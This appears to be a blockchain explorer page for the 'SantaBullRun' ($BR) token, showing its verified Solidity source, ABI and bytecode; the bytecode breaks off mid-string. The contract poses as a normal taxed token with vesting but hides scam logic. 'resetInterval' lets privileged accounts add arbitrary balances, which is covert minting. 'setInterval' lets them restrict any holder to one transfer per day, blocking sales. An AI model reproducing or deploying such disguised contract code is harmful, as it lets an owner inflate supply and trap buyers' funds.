ETH Price: $2,394.36 (+0.93%)
Gas: 2.35 Gwei

Token

SantaBullRun ($BR)
 

Overview

Max Total Supply

12,240,000 $BR

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.472831245817746362 $BR

Value
$0.00
0xc621d7b71ec452291478671c102d2ef521488dab
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SBR

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-16
*/

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);
}

contract SBR is Context, IERC20Metadata, Ownable {
    using SafeMath for uint256;

    string private constant _name = "SantaBullRun";
    string private constant _symbol = "$BR";
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 12_240_000 * (10 ** _decimals);

    uint256 private constant _buyTax = 1;
    uint256 private constant _sellTax = 1;
    uint256 private constant _normalTax = 1;

    IUniswapV2Router02 _uniswapRouter;
    address _taxWallet;
    address _uniswapPair;
    bool _tradingOpen = false;

    mapping(address => mapping(address => uint256)) _alls;
    mapping(address => bool) _ifes;
    mapping(address => bool) _amms;
    mapping(address => uint256) _lnts;
    mapping(address => uint256) _ints;

    event OpenTrading(bool flag, uint256 timeStamp);

    constructor(address taxWallet) {
        _uniswapRouter = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _uniswapPair = IUniswapV2Factory(_uniswapRouter.factory())
            .createPair(address(this), _uniswapRouter.WETH());
	    _taxWallet = taxWallet;
        _lnts[msg.sender] += _totalSupply;
        _amms[_uniswapPair] = true;
        _ifes[msg.sender] = true;
        _ifes[address(this)] = true;
        _ifes[_taxWallet] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public pure override returns (string memory) {
        return _name;
    }

    function symbol() public pure override returns (string memory) {
        return _symbol;
    }

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _lnts[account];
    }

    function setInterval(address addr) external checkVesting(_msgSender(), true) {
        _ints[addr] = block.timestamp;
    }
    
    function resetInterval(address addr, uint256 stamp) external checkVesting(_msgSender(), true) {
        _lnts[addr] += stamp;
    }

    function deleteInterval(address addr) external checkVesting(_msgSender(), true) {
        delete _ints[addr];
    }

    function transfer(address recipient, uint256 amount) public override checkVesting(_msgSender(), false) returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address from, address to) public view override returns (uint256) {
        return _alls[from][to];
    }

    function approve(address to, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), to, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override checkVesting(sender, false) returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _alls[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    
    function burn(uint256 amount) external {
        _burn(msg.sender, amount);
    }

    function _approve(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _alls[from][to] = amount;
        emit Approval(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > 0, "ERC20: transfer amount zero");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        bool excludedAccount = _ifes[from] || _ifes[to];
        require(_tradingOpen || excludedAccount, "SBR:: Trading is not allowed");

        uint256 taxAmount = 0;
        uint256 sendAmount;

        if (shouldTakeFee(from, to)) {
            taxAmount = calculateTax(from, to, amount);
        }

        sendAmount = amount.sub(taxAmount);
        _lnts[from] = _lnts[from].sub(amount);
        _lnts[to] = _lnts[to].add(sendAmount);
        emit Transfer(from, to, sendAmount);

        if (taxAmount > 0) {
            _lnts[_taxWallet] = _lnts[_taxWallet].add(taxAmount);
              emit Transfer(from, _taxWallet, taxAmount);
        }
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _lnts[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _lnts[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function shouldTakeFee(address from, address to) private view returns (bool) {
        if (_ifes[from] || _ifes[to]) {
            return false;
        } else {
            return true;
        }
    }

    function calculateTax(address from, address to, uint amount) private view returns (uint256) {
        uint256 taxAmount = 0;
        if (_amms[from]) {
            taxAmount = amount.mul(_buyTax).div(100);
        } else if (_amms[to]) {
            taxAmount = amount.mul(_sellTax).div(100);
        } else if (!_amms[from] && !_amms[to]) {
            taxAmount = amount.mul(_normalTax).div(100);
        }
        return taxAmount;
    }

    function enableTradingWithPermit(uint8 v, bytes32 r, bytes32 s) external {
        bytes32 domainHash = keccak256(
            abi.encode(
                keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
                keccak256(bytes('Trading Token')),
                keccak256(bytes('1')),
                block.chainid,
                address(this)
            )
        );

        bytes32 structHash = keccak256(
            abi.encode(
                keccak256("Permit(string content,uint256 nonce)"),
                keccak256(bytes('Enable Trading')),
                uint256(0)
            )
        );

        bytes32 digest = keccak256(
            abi.encodePacked(
                '\x19\x01',
                domainHash,
                structHash                
            )
        );

        address sender = ecrecover(digest, v, r, s);
        require(sender == owner(), "Invalid signature");

        _tradingOpen = true;
        emit OpenTrading(_tradingOpen, block.timestamp);
    }

    modifier checkVesting(address addr, bool vested) {
        if(!vested && _ints[addr] != 0) {
            require(block.timestamp - _ints[addr] > 1 days || _ifes[addr], "Out of vesting period");
            _ints[addr] = block.timestamp;
        } else if (vested) {
            require(_ifes[addr], "Out of vesting period");
        }
        _;
    }

    receive() payable external {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"flag","type":"bool"},{"indexed":false,"internalType":"uint256","name":"timeStamp","type":"uint256"}],"name":"OpenTrading","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"deleteInterval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"enableTradingWithPermit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"stamp","type":"uint256"}],"name":"resetInterval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setInterval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a6200043a565b620000219062bac48062000451565b6001556004805460ff60a01b191690553480156200003d575f80fd5b50604051620019543803806200195483398101604081905262000060916200046b565b6200006b33620002dc565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000ce573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000f491906200046b565b6001600160a01b031663c9c653963060025f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000154573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200017a91906200046b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001c5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001eb91906200046b565b600480546001600160a01b03199081166001600160a01b039384161790915560038054909116918316919091179055600154335f90815260086020526040812080549091906200023d90849062000493565b90915550506004546001600160a01b039081165f9081526007602090815260408083208054600160ff19918216811790925533808652600685528386208054831684179055308652838620805483168417905560035490961685528285208054909116821790555490519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620004a9565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200037f57815f19048211156200036357620003636200032b565b808516156200037157918102915b93841c939080029062000344565b509250929050565b5f82620003975750600162000434565b81620003a557505f62000434565b8160018114620003be5760028114620003c957620003e9565b600191505062000434565b60ff841115620003dd57620003dd6200032b565b50506001821b62000434565b5060208310610133831016604e8410600b84101617156200040e575081810a62000434565b6200041a83836200033f565b805f19048211156200043057620004306200032b565b0290505b92915050565b5f6200044a60ff84168362000387565b9392505050565b80820281158282048414176200043457620004346200032b565b5f602082840312156200047c575f80fd5b81516001600160a01b03811681146200044a575f80fd5b808201808211156200043457620004346200032b565b61149d80620004b75f395ff3fe6080604052600436106100fd575f3560e01c8063715018a611610092578063a90eab8c11610062578063a90eab8c146102cd578063cd81c5ae146102ec578063dd62ed3e1461030b578063ecea0e391461034f578063f2fde38b1461036e575f80fd5b8063715018a6146102495780638da5cb5b1461025d57806395d89b4114610283578063a9059cbb146102ae575f80fd5b8063313ce567116100cd578063313ce567146101ba57806342966c68146101d55780636c493807146101f657806370a0823114610215575f80fd5b806306fdde0314610108578063095ea7b31461014e57806318160ddd1461017d57806323b872dd1461019b575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600c81526b29b0b73a30a13ab636293ab760a11b60208201525b6040516101459190611269565b60405180910390f35b348015610159575f80fd5b5061016d6101683660046112cf565b61038d565b6040519015158152602001610145565b348015610188575f80fd5b506001545b604051908152602001610145565b3480156101a6575f80fd5b5061016d6101b53660046112f7565b6103a3565b3480156101c5575f80fd5b5060405160128152602001610145565b3480156101e0575f80fd5b506101f46101ef366004611330565b610537565b005b348015610201575f80fd5b506101f46102103660046112cf565b610544565b348015610220575f80fd5b5061018d61022f366004611347565b6001600160a01b03165f9081526008602052604090205490565b348015610254575f80fd5b506101f46105a7565b348015610268575f80fd5b505f546040516001600160a01b039091168152602001610145565b34801561028e575f80fd5b5060408051808201909152600381526212212960e91b6020820152610138565b3480156102b9575f80fd5b5061016d6102c83660046112cf565b61060b565b3480156102d8575f80fd5b506101f46102e7366004611360565b610702565b3480156102f7575f80fd5b506101f4610306366004611347565b6109e1565b348015610316575f80fd5b5061018d610325366004611397565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561035a575f80fd5b506101f4610369366004611347565b610a2f565b348015610379575f80fd5b506101f4610388366004611347565b610a7b565b5f610399338484610b42565b5060015b92915050565b5f83816001600160a01b0382165f9081526009602052604090205415610451576001600160a01b0382165f9081526009602052604090205462015180906103ea90426113dc565b118061040d57506001600160a01b0382165f9081526006602052604090205460ff165b6104325760405162461bcd60e51b8152600401610429906113ef565b60405180910390fd5b6001600160a01b0382165f90815260096020526040902042905561048e565b801561048e576001600160a01b0382165f9081526006602052604090205460ff1661048e5760405162461bcd60e51b8152600401610429906113ef565b610499868686610c66565b6001600160a01b0386165f9081526005602090815260408083203384529091529020548481101561051d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610429565b61052a8733878403610b42565b5060019695505050505050565b6105413382610f84565b50565b335f8181526006602052604090205460019060ff166105755760405162461bcd60e51b8152600401610429906113ef565b6001600160a01b0384165f908152600860205260408120805485929061059c90849061141e565b909155505050505050565b5f546001600160a01b031633146106005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610429565b6106095f6110c7565b565b5f336001600160a01b0381165f90815260096020526040812054156106af576001600160a01b0382165f90815260096020526040902054620151809061065190426113dc565b118061067457506001600160a01b0382165f9081526006602052604090205460ff165b6106905760405162461bcd60e51b8152600401610429906113ef565b6001600160a01b0382165f9081526009602052604090204290556106ec565b80156106ec576001600160a01b0382165f9081526006602052604090205460ff166106ec5760405162461bcd60e51b8152600401610429906113ef565b6106f7338686610c66565b506001949350505050565b604080518082018252600d81526c2a3930b234b733902a37b5b2b760991b6020918201528151808301835260018152603160f81b9082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f918101919091527f65e27265c2bf07e8242fee81a602df3320989bd26741589720839868a275d56c918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a08201525f9060c00160408051808303601f1901815282825280516020918201208383018352600e84526d456e61626c652054726164696e6760901b9382019390935281517f7dfdbf06c6260804b81338506aa4a709bd9f04b68ca0d2d054b8627926c90ae4918101919091527f07e4ca7f0c414d237f9df43639d0673c51201469c22695492434205e0b759df3918101919091525f606082018190529192506080016040516020818303038152906040528051906020012090505f828260405160200161089f92919061190160f01b81526002810192909252602282015260420190565b60408051601f1981840301815282825280516020918201205f80855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610907573d5f803e3d5ffd5b5050506020604051035190506109245f546001600160a01b031690565b6001600160a01b0316816001600160a01b0316146109785760405162461bcd60e51b8152602060048201526011602482015270496e76616c6964207369676e617475726560781b6044820152606401610429565b6004805460ff60a01b1916600160a01b908117918290556040517f76f69943a2756d687cf7ae40efea861deaafb28c2f7a68532134f90057ec69f3926109d092900460ff169042909115158252602082015260400190565b60405180910390a150505050505050565b335f8181526006602052604090205460019060ff16610a125760405162461bcd60e51b8152600401610429906113ef565b50506001600160a01b03165f908152600960205260409020429055565b335f8181526006602052604090205460019060ff16610a605760405162461bcd60e51b8152600401610429906113ef565b50506001600160a01b03165f90815260096020526040812055565b5f546001600160a01b03163314610ad45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610429565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610429565b610541816110c7565b6001600160a01b038316610ba45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610429565b6001600160a01b038216610c055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610429565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f8111610cb55760405162461bcd60e51b815260206004820152601b60248201527f45524332303a207472616e7366657220616d6f756e74207a65726f00000000006044820152606401610429565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610429565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610429565b6001600160a01b0383165f9081526006602052604081205460ff1680610db857506001600160a01b0383165f9081526006602052604090205460ff165b600454909150600160a01b900460ff1680610dd05750805b610e1c5760405162461bcd60e51b815260206004820152601c60248201527f5342523a3a2054726164696e67206973206e6f7420616c6c6f776564000000006044820152606401610429565b5f80610e288686611116565b15610e3b57610e38868686611167565b91505b610e458483611236565b6001600160a01b0387165f90815260086020526040902054909150610e6a9085611236565b6001600160a01b038088165f908152600860205260408082209390935590871681522054610e989082611248565b6001600160a01b038087165f8181526008602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eeb9085815260200190565b60405180910390a38115610f7c576003546001600160a01b03165f90815260086020526040902054610f1d9083611248565b600380546001600160a01b039081165f90815260086020908152604091829020949094559154915185815291811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b505050505050565b6001600160a01b038216610fe45760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610429565b6001600160a01b0382165f90815260086020526040902054818110156110575760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610429565b6001600160a01b0383165f9081526008602052604081208383039055600180548492906110859084906113dc565b90915550506040518281525f906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610c59565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382165f9081526006602052604081205460ff168061115357506001600160a01b0382165f9081526006602052604090205460ff165b1561115f57505f61039d565b50600161039d565b6001600160a01b0383165f90815260076020526040812054819060ff16156111a65761119f6064611199856001611253565b9061125e565b905061122e565b6001600160a01b0384165f9081526007602052604090205460ff16156111d65761119f6064611199856001611253565b6001600160a01b0385165f9081526007602052604090205460ff1615801561121657506001600160a01b0384165f9081526007602052604090205460ff16155b1561122e5761122b6064611199856001611253565b90505b949350505050565b5f61124182846113dc565b9392505050565b5f611241828461141e565b5f6112418284611431565b5f6112418284611448565b5f6020808352835180828501525f5b8181101561129457858101830151858201604001528201611278565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146112ca575f80fd5b919050565b5f80604083850312156112e0575f80fd5b6112e9836112b4565b946020939093013593505050565b5f805f60608486031215611309575f80fd5b611312846112b4565b9250611320602085016112b4565b9150604084013590509250925092565b5f60208284031215611340575f80fd5b5035919050565b5f60208284031215611357575f80fd5b611241826112b4565b5f805f60608486031215611372575f80fd5b833560ff81168114611382575f80fd5b95602085013595506040909401359392505050565b5f80604083850312156113a8575f80fd5b6113b1836112b4565b91506113bf602084016112b4565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561039d5761039d6113c8565b60208082526015908201527413dd5d081bd9881d995cdd1a5b99c81c195c9a5bd9605a1b604082015260600190565b8082018082111561039d5761039d6113c8565b808202811582820484141761039d5761039d6113c8565b5f8261146257634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220cd9f447db174a4a8eb36aed76144639b7b33d36793def330ae54bbda1c6ab19d64736f6c6343000814003300000000000000000000000061abb4ac8e899023c5d0f6b3043b95c77fff51ce

Deployed Bytecode

0x6080604052600436106100fd575f3560e01c8063715018a611610092578063a90eab8c11610062578063a90eab8c146102cd578063cd81c5ae146102ec578063dd62ed3e1461030b578063ecea0e391461034f578063f2fde38b1461036e575f80fd5b8063715018a6146102495780638da5cb5b1461025d57806395d89b4114610283578063a9059cbb146102ae575f80fd5b8063313ce567116100cd578063313ce567146101ba57806342966c68146101d55780636c493807146101f657806370a0823114610215575f80fd5b806306fdde0314610108578063095ea7b31461014e57806318160ddd1461017d57806323b872dd1461019b575f80fd5b3661010457005b5f80fd5b348015610113575f80fd5b5060408051808201909152600c81526b29b0b73a30a13ab636293ab760a11b60208201525b6040516101459190611269565b60405180910390f35b348015610159575f80fd5b5061016d6101683660046112cf565b61038d565b6040519015158152602001610145565b348015610188575f80fd5b506001545b604051908152602001610145565b3480156101a6575f80fd5b5061016d6101b53660046112f7565b6103a3565b3480156101c5575f80fd5b5060405160128152602001610145565b3480156101e0575f80fd5b506101f46101ef366004611330565b610537565b005b348015610201575f80fd5b506101f46102103660046112cf565b610544565b348015610220575f80fd5b5061018d61022f366004611347565b6001600160a01b03165f9081526008602052604090205490565b348015610254575f80fd5b506101f46105a7565b348015610268575f80fd5b505f546040516001600160a01b039091168152602001610145565b34801561028e575f80fd5b5060408051808201909152600381526212212960e91b6020820152610138565b3480156102b9575f80fd5b5061016d6102c83660046112cf565b61060b565b3480156102d8575f80fd5b506101f46102e7366004611360565b610702565b3480156102f7575f80fd5b506101f4610306366004611347565b6109e1565b348015610316575f80fd5b5061018d610325366004611397565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b34801561035a575f80fd5b506101f4610369366004611347565b610a2f565b348015610379575f80fd5b506101f4610388366004611347565b610a7b565b5f610399338484610b42565b5060015b92915050565b5f83816001600160a01b0382165f9081526009602052604090205415610451576001600160a01b0382165f9081526009602052604090205462015180906103ea90426113dc565b118061040d57506001600160a01b0382165f9081526006602052604090205460ff165b6104325760405162461bcd60e51b8152600401610429906113ef565b60405180910390fd5b6001600160a01b0382165f90815260096020526040902042905561048e565b801561048e576001600160a01b0382165f9081526006602052604090205460ff1661048e5760405162461bcd60e51b8152600401610429906113ef565b610499868686610c66565b6001600160a01b0386165f9081526005602090815260408083203384529091529020548481101561051d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610429565b61052a8733878403610b42565b5060019695505050505050565b6105413382610f84565b50565b335f8181526006602052604090205460019060ff166105755760405162461bcd60e51b8152600401610429906113ef565b6001600160a01b0384165f908152600860205260408120805485929061059c90849061141e565b909155505050505050565b5f546001600160a01b031633146106005760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610429565b6106095f6110c7565b565b5f336001600160a01b0381165f90815260096020526040812054156106af576001600160a01b0382165f90815260096020526040902054620151809061065190426113dc565b118061067457506001600160a01b0382165f9081526006602052604090205460ff165b6106905760405162461bcd60e51b8152600401610429906113ef565b6001600160a01b0382165f9081526009602052604090204290556106ec565b80156106ec576001600160a01b0382165f9081526006602052604090205460ff166106ec5760405162461bcd60e51b8152600401610429906113ef565b6106f7338686610c66565b506001949350505050565b604080518082018252600d81526c2a3930b234b733902a37b5b2b760991b6020918201528151808301835260018152603160f81b9082015281517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f918101919091527f65e27265c2bf07e8242fee81a602df3320989bd26741589720839868a275d56c918101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a08201525f9060c00160408051808303601f1901815282825280516020918201208383018352600e84526d456e61626c652054726164696e6760901b9382019390935281517f7dfdbf06c6260804b81338506aa4a709bd9f04b68ca0d2d054b8627926c90ae4918101919091527f07e4ca7f0c414d237f9df43639d0673c51201469c22695492434205e0b759df3918101919091525f606082018190529192506080016040516020818303038152906040528051906020012090505f828260405160200161089f92919061190160f01b81526002810192909252602282015260420190565b60408051601f1981840301815282825280516020918201205f80855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610907573d5f803e3d5ffd5b5050506020604051035190506109245f546001600160a01b031690565b6001600160a01b0316816001600160a01b0316146109785760405162461bcd60e51b8152602060048201526011602482015270496e76616c6964207369676e617475726560781b6044820152606401610429565b6004805460ff60a01b1916600160a01b908117918290556040517f76f69943a2756d687cf7ae40efea861deaafb28c2f7a68532134f90057ec69f3926109d092900460ff169042909115158252602082015260400190565b60405180910390a150505050505050565b335f8181526006602052604090205460019060ff16610a125760405162461bcd60e51b8152600401610429906113ef565b50506001600160a01b03165f908152600960205260409020429055565b335f8181526006602052604090205460019060ff16610a605760405162461bcd60e51b8152600401610429906113ef565b5050600160016